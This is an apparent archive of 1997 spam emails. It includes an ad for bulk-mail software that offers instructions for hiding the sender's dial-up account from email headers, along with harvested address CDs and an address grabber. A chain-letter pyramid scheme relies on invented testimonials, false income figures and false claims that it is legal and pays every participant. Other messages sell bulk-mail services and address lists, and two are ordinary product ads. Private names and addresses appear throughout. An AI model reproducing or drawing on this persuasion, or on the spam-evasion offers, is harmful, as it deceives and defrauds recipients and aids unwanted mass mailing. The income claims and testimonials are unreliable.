NOW YOU CAN HAVE BOTH THE FLOODGATE AND 
GOLDRUSH STEALTH MASS MAILER FOR JUST $499.00! 

UPDATE ... SAVE $149.05 AND ORDER NOW, BE ONE OF THE FIRST 100 ORDERS! 

Step up to the plate and play with the big boys TODAY and receive the COMPLETE 2 SOFTWARE PACKAGE for the unbelievably low price of ONLY $349.95! 

(Other bulk email software has sold for as much as $2,500 and can't even come close to the cutting edge technology of EASE, ACCURACY AND SPEED ... SPEED ... SPEED!) 

Try the Goldrush Stealth Mass Mailer & Floodgate Bulk Email Loader for 10 days FREE. 
And receive UNLIMITED technical support for 30 days.

**************************************************************

		MILLIONS OF  EMAIL ADDRESSES
	MILLIONS AND MILLIONS OF EMAIL ADDRESSES

CD with MILLIONS of email addresses separated by domain name.
All addresses are simple text format one per line. Addresses
from the following domains: Pipleline, MSN, MCI, Juno, Delphi,
Genie, AOL, Compuserve, Internet, .com & .net, MILLIONS OF THEM!
Not available on diskette or download.

===> WANT THE MILLIONS OF ADDRESSES FOR $100.00? <===

Just buy our Floodgate / Goldrush software package (with ALL
the bonuses INCLUDED), and the MILLIONS of addresses are yours
for just $100.00 additional.

These addresses will be delivered to you in simple text files
that any bulk emailing program can use, on CD Rom. With this CD,
YOU CAN BEGIN MAKING MONEY IMMEDIATELY!!!

***************************************************************

***SPECIAL BONUS #1:*** STOP Losing ISP Dial Up Accounts! 

If you order The FLOODGATE / GOLDRUSH software within the next 5 days - When you receive your program, you will also receive: 

*Complete instructions on "how to keep your dial up account from  showing up in the header", plus everything you will need to get started doing this. 

IMPORTANT NOTICE! We will initially only be offering 100 copies of the program for sale, First come / First Served basis only. We are doing this because of the extreme power that these programs offer.


***SPECIAL BONUS #2*** 

When you receive your two programs, you will also receive:
OVER 250 REPRINT AND RESELL RIGHTS REPORTS YOU CAN START TO MARKET
AND MAKE MONEY IMMEDIATELY!!! 

     These HOT sellers include: 
     1) How to Get a Top Rating in the Search Engines 
     2) 70 Money Making Reports 
     3) 75 MONEY MAKING PLANS & TRADE SECRETS and MUCH MUCH MORE!!!  
         ($200 RETAIL VALUE - FREE!!!) 


***SPECIAL BONUS #3***

With your two software programs, you will also receive our NEW "Address Grabber" utility program that enables you to grab 100's of THOUSANDS of email addresses from
newsgroups in minutes ($100 RETAIL VALUE - FREE).


***SPECIAL BONUS #4***

RECEIVE CHECKS BY EMAIL, PHONE OR FAX MACHINE. With this software
program, you can receive payment for your product or service INSTANTLY!!
There is no more waiting for your customers chec to arrive. This
software will no doubt, add to your sales, for customers who
don't have credit cards, as well as the impulse buyers.

With this software, you can print up your payments as soon as your
customer gives you his/her checking information. You will then
add the information given, to the proper blank check spaces, then
just print and go to the bank!!

         ***************************************************

To get your FREE demo and "test drive" our state-of-the-art software, 
visit our web site at:

		http://www.t-1net.com/floodgate 		

         ****************************************************

              HURRY ... RESERVE YOURS TODAY! 

So, if you are interested in taking advantage of the most powerful bulk 
email software in the world and start making money hand over fist.....

Print out the EZ ORDER form below and FAX or MAIL it to our office.

If you have any questions don't hesitate to call us at: 1-954-784-0312

SYSTEM REQUIREMENTS

386 or larger
Windows 95 OR Windows 3.1 with 8 meg ram
Extra 5 MB hard drive space

Floodgate & Goldrush can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM SATISFIED USERS

"It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr., Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

-------------------------------------------------
E-Z ORDER FORM:

Please print out this order form and fill in the blanks......
Please send order form and check or money order, payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077-2261
(954) 784-0312


______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the software. If I am not fully delighted, I will cheerfully be refunded the purchase price, no questions asked! Please rush me the FLOODGATE and GOLDRUSH package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE and GOLDRUSH package at a substantial discount! I am ordering BOTH software packages for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive UNLIMITED technical support for 30 days.

______I want to receive the package OVERNIGHT. I'm including $18.00 for shipping charges.

______I want to receive the package 2nd DAY. I'm including $10.00 (includes insurance & return receipt) for shipping charges.

______I'm ordering Floodgate / Goldrush software and want to order the MILLIONS of email addresses as well. My additional cost is $100.00 enclosed.

______I'm NOT ordering your Floodgate / Goldrush software, but I
want to order your MILLIONS of email addresses on CD. Enclosed is $249.00.

(CHECKS: ALLOW 1 WEEK FOR BANK CLEARANCE)


YOUR NAME_________________________________________________

COMPANY NAME_________________________________________________

YOUR POSITION_____________________________________________

STREET ADDRESS______________________________________________

CITY, STATE, ZIP____________________________________________

PHONE NUMBERS_______________________________________________

FAX NUMBERS_________________________________________________

EMAIL ADDRESSES_____________________________________________

************************************************************

We accept Checks, Money Orders, MasterCard, Visa,
American Express. You can either mail your order to 
us OR fax your order to:

			954-572-5837
************************************************************

Today's date:_____________
 
Visa____MasterCard____American Express____Discover_______
 
Card #:____________________________________________________
 
Expiration date:___________________________________________
 
Name on card:______________________________________________
 
Billing address:___________________________________________
 
Amount to be charged: $________________


Signature:___________________________________________


I agree to pay Dave Mustachi an additional $29 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X________________________________DATE:_______________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 784-0312


***************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us)

Please fax the above order form and check to: 1-954-572-583




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: busniess_123jst@hotmail.com (Start Making Money Now!!!)
Date: Sun, 21 Dec 1997 12:22:36 -0800 (PST)
To: busniess_123jst@hotmail.com
Subject: A Business Opportunity just for You...
Message-ID: <19971221601JAA51791@post.logicallink.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello!

My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and 
use my account primarily for business.  I received what I assumed was
this same e-mail countless times and deleted it each time.

About two months ago I received it again and, because of the catchy 
subject line,  I finally read it.  Afterwards, I thought , "OK, I 
give in, I'm going to try this.  I can certainly afford to invest $20 
and, on the other hand, there's nothing wrong with creating a little 
excess cash."  I promptly mailed four $5 bills and, after receiving
 the reports, paid a friend of mine a small fee to send out some 
e-mail advertisements for me.  After reading the reports, I also 
learned how easy it is to bulk e-mail for free! 

I was not prepared for the results.  Every day for the last six weeks,
my P.O. box has been overflowing with $5 bills; many days the excess
fills up an extra mail bin and I've had to upgrade to the corporate-
size box!  I am stunned by all the money that keeps rolling in!

My husband and I have been saving for several years to make a 
substantial downpayment on a house.  Now, not only are we purchasing
a house with 40% down, we're going to Venice, Italy to celebrate!

I promise you, if you follow the directions in this e-mail and be 
prepared to eventually set aside about an hour each day to follow up
(and count your money!), you will make at least as much money as we 
did.  If you can open an envelope, remove the money, and send an 
e-mail message, then you're on your way to the bank.  Take the time 
to read this so you'll understand how easy it is.  If I can do this,
so can you!"


================================================
================================================

             *** Print This Now For Future Reference ***

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY LITTLE investment
and the income return is TREMENDOUS!!!  

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

You are about to make at least $50,000 in less than 90 days!  
Please read the enclosed program...THEN READ IT AGAIN!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
OPPORTUNITY.   It does not require you to come into contact with
people, do any hard work, and best of all, you never have to leave 
the house except to get the mail.  If you believe that someday you'll 
get that big break that you've been waiting for, THIS IS IT!  Simply
follow the instructions, and your dream will come true.  This
multi-level e-mail order marketing program works perfectly...100%
EVERY TIME.  E-mail is the sales tool of the future.  Take advantage
of this non-commercialized method of advertising NOW!!!  The longer
you wait, the more people will be doing business using e-mail.  Get
your piece of this action!!!  

MULTI-LEVEL MARKETING (MLM) has finally gained
respectability.  It is being taught in the Harvard Business School, 
and both Stanford Research and the Wall Street Journal have stated
that between 50% and 65% of all goods and services will be sold
through multi-level methods by the mid to late 1990's.  This is a 
Multi-Billion Dollar industry and of the 500,000 millionaires in the 
U.S., 20% (100,000)  made their fortune in the last several years in
MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing. 

The enclosed information is something I almost let slip through my 
fingers.  Fortunately, sometime later I re-read everything and gave 
some thought and study to it.  

My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews, I decided to open my 
own business.  Over the past year, I incurred many unforeseen 
financial problems.  I owed my family, friends and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  AT
THAT MOMENT something significant happend in my life and I am
writing to share the experience in hopes that this will change your
life FOREVER FINANCIALLY!!!

In mid December, I received this program via e-mail.  Six month's 
prior to receiving this program I had been sending away for 
information on various business opportunities.  All of the programs 
I received, in my opinion, were not cost effective.  They were either 
too difficult for me to comprehend or the initial investment was too 
much for me to risk to see if they would work or not.  One claimed 
that I would make a million dollars in one year...it didn't tell me 
I'd have to write a book to make it!  

But like I was saying, in December of 1995 I received this program.  
I didn't send for it, or ask for it, they just got my name off a 
mailing list. THANK GOODNESS FOR THAT!!!  After reading 
it several times, to make sure I was reading it correctly, I couldn't 
believe my eyes.  Here was a MONEY MAKING PHENOMENON.
I could invest as much as I wanted to start, without putting me 
further into debt.  After I got a pencil and paper and figured it 
out, I would at least get my money back.  After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided 
"WHY NOT."

Initially I sent out 10,000 e-mails.  It cost me about $15.00 for my 
time on-line.  The great thing about e-mail is that I don't need any 
money for printing to send out the program, only the cost to fulfill 
my orders.  I am telling you like it is, I hope it doesn't turn you 
off, but I promised myself that I would not "rip-off" anyone, no 
matter how much money it cost me!


In less than one week, I was starting to receive orders for REPORT 
#1.  By January 13, I had received 26 orders for REPORT #1.  When
you read the GUARANTEE in the program, you will see that "YOU
MUST RECEIVE 15-20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS.  IF YOU DON'T,
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making 
$50,000 in 20-90 days was done. By January 30, I had received 196 
orders for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST 
RECEIVE 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS.  IF NOT, SEND OUT 
MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS 
EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 
orders for REPORT #2, 96 more than I needed.  So I sat back and 
relaxed.  By March 19, of my e-mailing of 10,000, I received $58,000
with more coming in every day.  

I paid off ALL my debts and bought a much needed new car.  Please 
take time to read the attached program, IT WILL CHANGE YOUR
LIFE FOREVER!!!  Remember, it won't work if you don't try it.  This
program does work, but you must follow it EXACTLY!  Especially
the rules of not trying to place your name in a different place.  It 
won't work, you'll lose out on a lot of money!  REPORT #2 explains 
this. Always follow the guarantee, 15-20 orders for REPORT #1, and 
100+ orders for REPORT #2 and you will make $50,000 or more in 
20-90 days.  I AM LIVING PROOF THAT IT WORKS!!!

If you choose not to participate in this program, I am sorry.  It 
really is a great opportunity with little cost or risk to you.  If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

If you are a fellow business owner and are if financial trouble like 
I was, or you want to start your own business, consider this a sign. 
I DID!
                              Sincerely,             

                         Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!



A PERSONAL NOTE FROM THE ORGINATOR OF THIS
PROGRAM:
By the time you have read the enclosed program and reports, you
should have concluded that such a program, and one that is legal, 
could not have been created by an amateur.  

Let me tell you a little about myself.  I had a profitable business 
for 10 years.  Then in 1979 my business began falling off.  I was 
doing the same things that were previously successfull for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy.  Inflation and recession had replaced the stable economy
that had been with us since 1945.  I don't have to tell you what 
happend to the unemployment rate... because many of you know from 
first hand experience.  There were more failures and bankruptcies 
than ever before. 

The middle class was vanishing.  Those who knew what they were
doing invested wisely and moved up.  Those who did not, 
including those who never had anything to save or invest, were 
moving down into the ranks of the poor.  As the saying goes, 
"THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move
up" or "get rich", inflation will see to that.

You have just received information that can give you financial 
freedom for the rest of your life, with "NO RISK" and "JUST A
LITTLE BIT OF EFFORT."  You can make more money in the next
few months than you have ever imagined.  

I should also point out that I will not see a penny of this money, 
nor anyone else who has provided a testimonial for this program.  I 
have already made over 4 MILLION DOLLARS!  I have retired from
the program after sending out over 16,000 programs.  Now I have 
several offices that make this and several other programs here and 
over seas.  By the spring we wish to market the "internet" by a 
partnership with AMERICA ON LINE.  

Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.  It works exceedingly well as it is now.  Remember to 
e-mail a copy of this exciting report to everyone you can think of.  
One of the people you send this to may send out 50,000...and your 
name will be on everyone of them!  Remember though, the more you
send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU 
NOW!



"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a little time to read it and REALLY THINK ABOUT IT.  Get a 
pencil and figure out what could happen when YOU participate. 
Figure out the worst possible response and no matter how you 
calculate it, you will still make a lot of money!  You will 
definitely get back what you invested.  Any doubts you have will 
vanish when your first orders come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC



HERE'S HOW THIS AMAZING PROGRAM WILL MAKE
YOU $$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll assume you and all those involved send out only 2,000 
programs each.  Let's also assume that the mailing receives a 0.5% 
response.  Using a good list the response could be much better.
Also many people will send out hundreds of thousands of programs 
instead of 2,000.  But continuing with this example, you send out 
only 2,000 programs.  With a 0.5% response, that is only 10 orders 
for REPORT #1.  Those 10 people respond by sending out 2,000 
programs each for a total of 20,000.  Out of those 0.5%, 100 people 
respond and order REPORT #2.  Those 100 mail out 2,000 programs 
each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each
for a 2,000,000 total.  The 0.5% response to that is 10,000 orders 
for REPORT #4.  That's 10,000 $5 bills for you.  CASH!!! Your
total income in this example is $50 + $500 + $5,000 + $50,000 for
a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM!  DARE TO 
THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 
100,000 PROGRAMS INSTEAD OF 2,000.  Believe me, many people will do
just that, and more!  By the way, your cost to participate in this 
is practically nothing.  You obviously already have an internet 
connection and e-mail is FREE!!!  REPORT #3 will show you the best 
methods for bulk e-mailing and obtaining e-mail lists. 



INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of 
raising capital that REALLY WORKS 100% EVERYTIME.  I am 
sure that you could use $50,000 to $125,000 in the next 20-90 days. 
Before you say "BULL... ", please read this program carefully.  

This is not a chain letter, but a perfectly legal money making 
opportunity.  Basically, this is what you do:  As with all 
multi-level business, we build our business by recruiting new 
partners and selling our products.  Every state in the USA allows
you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved 
in personal selling.  You do it privately in your own home, store 
or office.  This is the GREATEST Multi-Level Mail Order 
Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND NUMBER.  
Do this by ordering the REPORT from each of the four (4) names 
listed on the next page.  For each REPORT, send $5 CASH and a 
SELF-ADDRESSED STAMPED envelope (BUSINESS SIZE #10) to the person 
listed for the SPECIFIC REPORT.  International orders should also
include $1 extra for postage.  It is essential that you specify 
the NAME and NUMBER of the REPORT requested to the person you are
ordering it from.  You will need ALL FOUR (4) REPORTS because you 
will be REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
yours, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!


REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.
____________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM: 

 Ekrit T.
 4470 Sunset Blvd. # 731
 Los Angeles, CA  90027

____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

KATHY SMITH
5312 S. E. 30 AVE
OCALA, FL 34480-7524

____________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Liberty Publishing Inc.
2107 W. Commonwealth Ave.  Dept.264
Alhambra, CA 91803

____________________________________________________


REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Kal Inc.
P.O. Box 2433
Glenview, IL. 60025-2433

____________________________________________________



CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get
a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain letters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Call-NOW@1-602-267-9688
Date: Sun, 21 Dec 1997 13:14:42 -0800 (PST)
To: Good-Deal-Lovers@UwiseFolk.com
Subject: (Last Call) -Big Year End Sale!!!-
Message-ID: <20906794_49757066>
MIME-Version: 1.0
Content-Type: text/plain



               *********************************
         Linko -- P.O. Box 66781 -- Phoenix, AZ 85082
      Phone (602)267-9688 Fax (602)275-1868  1-11pm (MST)
                      
            - LAST CALL -- LAST CALL -- LAST CALL -
            ***************************************

Greetings Business Owners & Managers,

We welcome you to our "Years End Holiday Special"...." Sale of all
Sales". We are slashing the prices to the bare bones on  all of our
Commercial Bulk E-mail Services and the prices of all our E-mail 
lists. The prices stated below will remain in effect until midnight
January 1, 1998. If you would like to order please call Linko at
(602)267-9688 to discuss the details. We accept checks by phone or
fax. We will be raising our prices slightly in 1998. Order now!!!
                       ********************

Commercial E-mail Service Rates:

We will mail your two page sales letter,(80 lines total), to our
best lists for the prices stated below. If you want us to send a
longer message please add 20% for each extra page. 


Bulk e-mail to 100,000 General List.. Reg. $79.95.. Sale price $49.95
Bulk e-mail to 50,000 General List... Reg. $59.95.. Sale price $29.95

Bulk e-mail to 100,000 Biz-owners.. Reg. $199.95.. Sale price $129.95
Bulk e-mail to 50,000 Biz-owners....Reg. $129.95.. Sale price $69.95

Bulk e-mail to 50,000 MLM List... Reg. $139.95.... Sale price $79.95
Bulk e-mail to 25,000 MLM List... Reg. $99.95..... Sale price $59.95
Bulk e-mail to 5,000 MLM List.... Reg. $39.95..... Sale price $24.95

     Bulk mail to custom lists is also available in some cases.
      Please call to discuss building of special custom lists.

 ***** NOBODY BUT NOBODY BEATS OUR COMMERCIAL E-MAIL PRICES ****
*****************************************************************

*****************************************************************
GOOD QUALITY E-MAIL LISTS:

100,000 GENERAL E-MAIL ADDRESSES REG. $19.95....  Sale price $9.95
500,000 GENERAL E-MAIL ADDRESSES REG. $59.95....  Sale price $29.95

10,000 BIZ OWNERS E-MAIL ADDRESSES REG. $39.95... Sale Price $19.95
25,000 BIZ OWNERS E-MAIL ADDRESSES REG. $59.95... Sale Price $29.95
50,000 BIZ OWNERS E-MAIL ADDRESSES REG. $79.95... Sale Price $39.95

5,000 MLM  E-MAIL ADDRESSES REG.. $29.95......... Sale Price $14.95
25,000 MLM  E-MAIL ADDRESSES REG. $99.95......... Sale Price $49.95
50,000 MLM  E-MAIL ADDRESSES REG. $139.95........ Sale Price $69.95

*ALL LISTS ARE MAILED U.S.P.S. WITH ONE ON A LINE IN .TXT FORMAT*
                  *** 1.4 MG - 3-1/2" DISKETTE ***

   ***** DON'T FORGET.... THIS SALE ENDS January 1, 1998 *****
    ****** YOUR BUSINESS IS APPRECIATED...... THANKS *******
******************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 77311018@06232.com
Date: Sun, 21 Dec 1997 20:59:03 -0800 (PST)
To: KiDe6324@bellsouth.net
Subject: Your Broadway Code
Message-ID: <8998749058.TTR886772@bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------

 This message contains a ticket purchase code which offers you
 substantial savings on a Broadway show for a limited period.
 If you would prefer not to receive mail on this subject
 please reply to progress@drlr.com with the word REMOVE 
 in the subject header field.  
 ---------------------------------------------------------------------------


Dear Mogul...

Why buy tickets to THE LIFE?, Cy Coleman's 
brilliantly evocative new musical?

BECAUSE:

1. THE LIFE won a truck-load of BEST MUSICAL awards.

2  The women in the cast are universally regarded as
the most dazzling and talented on Broadway.

3.  There's Friendship, Love, Betrayal, Heartache, Greed, 
and Sacrifice... And that's only in the first 20 minutes.

4.  Vincent Canby (New York Times) said the show was
"the best musical of the season."
(And he knows what he's talking about.)

5.  Newsweek Magazine said the musical 
was a "masterpiece."
(And they know what they're talking about.)

6.  Joey McKneely's choreography smolders
in its own sensuality.

7.  Lillias White blows the roof off the theatre
TWICE in Act I.
(That's why they gave her the Tony Award.)

8.  In-Theatre Magazine says that "Chuck Cooper is
so intimidating as the pimp, Memphis, that even tough
guys in the audience have been known to recoil in fear."
(And that's why they gave him the Tony Award.)

9.  At the end... the audience stands up, goes nuts,
and generally carries on like it's never seen a musical.
(One guy stood on his chair one night and tried to
recreate the choreography.)

10.  There are DISCOUNT TICKETS January 5th
through February 12th.

ORDER BY PHONE:  Call TELE-CHARGE at
(212) 947-8844 (8 AM - Midnight) or
outside Metro New York call (800) 432-7250.
MENTION THE CODE: "TLDM".



THE LIFE.
At the Barrymore Theatre.
The best show on Broadway.

Bye.

All Seats: $50 (Orch. and Front Mezz.)
All Seats: $40 (Rear Mezz.)
Offer good for Monday through Thursday shows at 8 PM,
January 5th through February 12th, 1998.
Tickets must be ordered by January 11th, 1998.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 9fX7Q8JNZ@pobox.com
Date: Mon, 22 Dec 1997 14:09:22 -0800 (PST)
To: acethesat@acethesat1234u.com
Subject: Increase SAT Math Scores!
Message-ID: <ItW5NiNz4N16y>
MIME-Version: 1.0
Content-Type: text/plain


 Please pardon this 1 time e-mail intrusion.
 (This information may be very important to you            
 or someone you know taking College Entrance Exam!!!)
  
 "Math Shortcuts to Ace the SAT* and PSAT"
 For the US College Entrance Exam  
 ISBN:   1-882228-00-6   (100 pg. book)
 
 Traditional SAT* math preparation materials & courses 
 emphasize a review of math fundamentals, practice exams 
 and general strategies.  Our book uniquely SUPPLEMENTS 
 these approaches with 34 specific math strategies & 
 shortcuts to specific SAT* math problem types.
 
 Highlights of this Book:
 	---34 specific math shortcuts & strategies 
                         to the SAT* and PSAT
 	---Step-by-step examples
 	---Answers to all exercises
 	---Extensive glossary and index
 	---Concise summary of geometry formulas and concepts
 	---Easy to understand explanations
 
 Educator's Testimonials:
 "This SAT Math Shortcuts Manual is proving to be an excellent 
 resource to our students preparing for the SAT & PSAT.  
 Thank you for developing this invaluable resource."
    Carolyn W. Jacobs - Guidance Dept. Head - 
    JFK High School, Richmond, VA
 
 "This is one of the best collections of SAT Math Shortcuts 
 that I have come across. My students found it especially 
 helpful.  I highly recommend this book to anyone 
 teaching an SAT Prep. class or workshop."
    Judy Edwards - Math/SAT Prep. Teacher - 
    North Buncombe High School, Weaverville, NC 
 
 "The book format is great. The sections on shortcuts was 
    easily understandable and to the point."
    LaVerne McKesson: President, Educational Connections
    Math Dept. Head (retired) Detroit Public Schools
 
 "This book covers it all!  It is compiled in a manner which 
 holds the student's attention as it guides the student through 
 math strategies and shortcuts to the SAT."
    Nanci S. Boice 
    Admissions Dept. - St. Thomas Episcopal School - 
    Houston, TX
 	
 Author Bio:
 	---15 years: SAT Math test prep. instructor & 
                   College Algebra Teacher
 	---Columbia University grad.: BA, MBA
 
 Distributors:
 	---Ingram Book Co. (bookstores)
 	---Baker & Taylor (bookstores - pending)
 	---Independent Publishers Group (bookstores)
 	---Quality Books, Inc. & Unique Books, Inc. (libraries)
 	---Adams Book Co. (schools)
 	---Independent Sales Reps. (schools)
 
 To Purchase:
 Contact our shipping company:
 BookMasters, Inc.
 Order Dept.
 P.O. Box 388
 1444 Rt. 42 
 Ashland, OH. 44805	
 USA
      Phone Orders:	1-800-247-6553 (24hrs/7days)
      Fax Orders:	      1-419-281-6883
 	Outside USA phone:  1-419-281-1802 (24hrs/7days)
 Web-Site Orders:
      www.apluspublishing.com    (Shortcut #21 on-line)
      www.bookzone.com/achieve (Shortcut #33 on-line)
 Price:	$12.95/book for orders of 24 or less
 		$11.95/book for orders of 25 - 49
 		$10.95/book for orders of 50 or more.
 Add Postage/Handling:$4 for single book order (1 book)
           7% of purchase price for orders of 2 or more books.
 Ohio residents add 6% sales tax 
 or supply state sales tax exempt #.
 Alabama residents add 4% sales tax 
 or supply state sales tax exempt #.
     Check, Credit Card & School Purchase Orders accepted.
     Allow 1 week for delivery. 
      Checks Payable to: BookMasters, Inc. 
       or Achievement Publishing, Inc.
 	To order have: Title, Publisher & ISBN available.
 
             For questions and comments to 
             Achievement Publishing, Inc.:	
             Voice mail: 1-800-499-6284
